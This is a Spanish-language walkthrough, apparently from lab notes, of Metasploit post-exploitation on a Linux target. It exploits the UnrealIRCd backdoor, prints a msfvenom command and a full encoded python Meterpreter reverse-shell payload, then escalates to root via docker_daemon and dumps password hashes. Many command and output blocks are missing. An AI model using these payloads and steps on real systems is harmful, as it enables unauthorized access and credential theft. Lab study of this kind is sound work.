Linux (Meterpreter para Post-Explotación)

Esta shell o herramienta llamada meterpreter te da muchas facilidades a la hora de realizar tecnicas de post-explotacion, por lo que vamos a ver cuales son las mas relevantes de dicha herramienta.

Vamos a iniciar metasploit:

sudo msfconsole -q

NOTA:

En concreto nosotros vamos a utilizar los modulos de post-explotacion de Linux de metasploit en la siguiente ruta:

cd /usr/share/metasploit-framework/modules/post/linux

Estando dentro de metasploit anteriormente explotamos una vulnerabilidad llamada UnrealIRCD la cual nos daba una shell y la vamos a explotar para ir a la fase de post-explotacion.

use unix/irc/unreal_ircd_3281_backdoor

La cosa es que en este modulo solo tienen payloads como cmd, perl, ruby, etc... pero no tienen una shell que tede un meterpreter por lo que vamos a ver a como generar nuestro porpio payload personalizado para que nos de un meterpreter.

Por lo que no nos interesa ahora mismo ese exploit, por lo que le daremos a back y vamos a explotarlo de forma manual con el exploit de github que encontramos anteriormente modificandole el codigo para que nos de una shell de meterpreter estando a la escucha con metasploit.

URL = Pagina GitHub Exploit

Primero vamos a generar el payload de la siguiente forma con msfvenom:

msfvenom -p python/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT>

Info:

[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 436 bytes
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UN9LwzAQfm7+ir4lwRjWWasbVhDxQUSEzTcZo01ODU2TkGRaFf93GzI8uDu+u+9+qtFZH8tgxQCRfWvVs74L0NQsRH8QkUU1Anq1vpxKZUrfmTcg1YKuURH912yL0OZinh1ZsiPePt0+7LfPm7ubR5p4XFhjQERCcLVa8qq5nJVXZyvMLmahidR76AZUwCTAxdQ9jedBAzhyTpFu81b8YFwnBoKv7zEL3IP4IDWlL4sdku0Ra4o+35WGUoMhkl7puZ08+c+e5jBFMIEg6XAuQdjReQiB5B/wvqlTUEJish8c8Dr8UvQHedtfeQ==')[0])))

Y nos daria el payload en la terminal, por lo que copiamos eso y lo pegamos en el codigo del exploit de giyhub.

Clonamos el repositorio a nuestro kali:

Una vez dentro de la carpeta, editaremos el exploit.py de la siguiente forma:

Cambiamos el contenido de lo que viene por defecto en python_payload y lo cambiamos por eso, lo guardamos y listo para usar.

Ahora vamos dentro de metasploit a poner un listener/handler de la siguiente forma:

Y con esto estariamos a la escucha listos de ejecutar el exploit.

Ahora en la otra terminal ejecutaremos el exploit de la siguiente forma:

Info:

Y si todo sale bien, en metasploit veremos esto:

Por lo que ya la habremos explotado.

Ahora tendremos que identificar que usuario somos con el siguiente comando:

Info:

Por lo que vemos somos un usuario normal.

Si en otra terminal nos vamos a donde estan todos los modulos de post-explotacion de metasploit en concreto en la carpeta gather veremos lo siguiente:

Info:

Veremos varios modulos de explotacion.

Si queremos ejecutar uno dentro de nuestro meterpreter el cual hemos obtenido, podremos hacer de la siguiente forma:

Info:

Con esto obtenemos informacion del sistema y nos dice que esta corriendo en una maquina virtual de VMware, lo cual es cierto.

Si por ejemplo quisieramos ejecutar el hashdump para dumpearnos todos los hashes, con este usuario no podriamos ya que nos pediria que tuvieramos un usuario como administrador.

Por lo que algunos modulos van a ir con dicho usuario y otros no.

Para nosotros poder intentar escalar privilegios, vamos a utilizar una serie de exploits locales, por lo que dejaremos esta sesion de meterpreter en segundo plano poniendo background para no perderla.

Nos vamos atras con back y vamos a utilizar un llamado Recomendador de exploits, podremo acceder a el ejecutando lo siguiente:

Si nosotros hacemos el show options para ver sus opciones lo que vemos es que necesita una sesion activa la cual tenemos nosotros en segundo plano.

Por lo que le especificariamos la sesion con el siguiente comando:

Y para ejecutar esto pondriamos exploit y ya estaria en ejecuccion:

En este caso nos ha encontrado unos cuantos exploits los cuales podemos aprovechar, entre ellos uno interesante llamado docker_daemon para escalar privilegios.

Por lo que vamos a entrar en el:

Esto es una escalada de privilegios a traves de una vulnerabilidad que tenia docker.

Lo configuraremos de la siguiente forma:

Info:

Y por lo que vemos lo ha conseguido, si ahora hacemos un getuid para saber que usuario somos:

Veremos que ya somos root.

Ahora si por ejemplo queremos dumpearnos los hashes, si podriamos:

Info:

Y ahi obtendriamos todos los hashes.

Last updated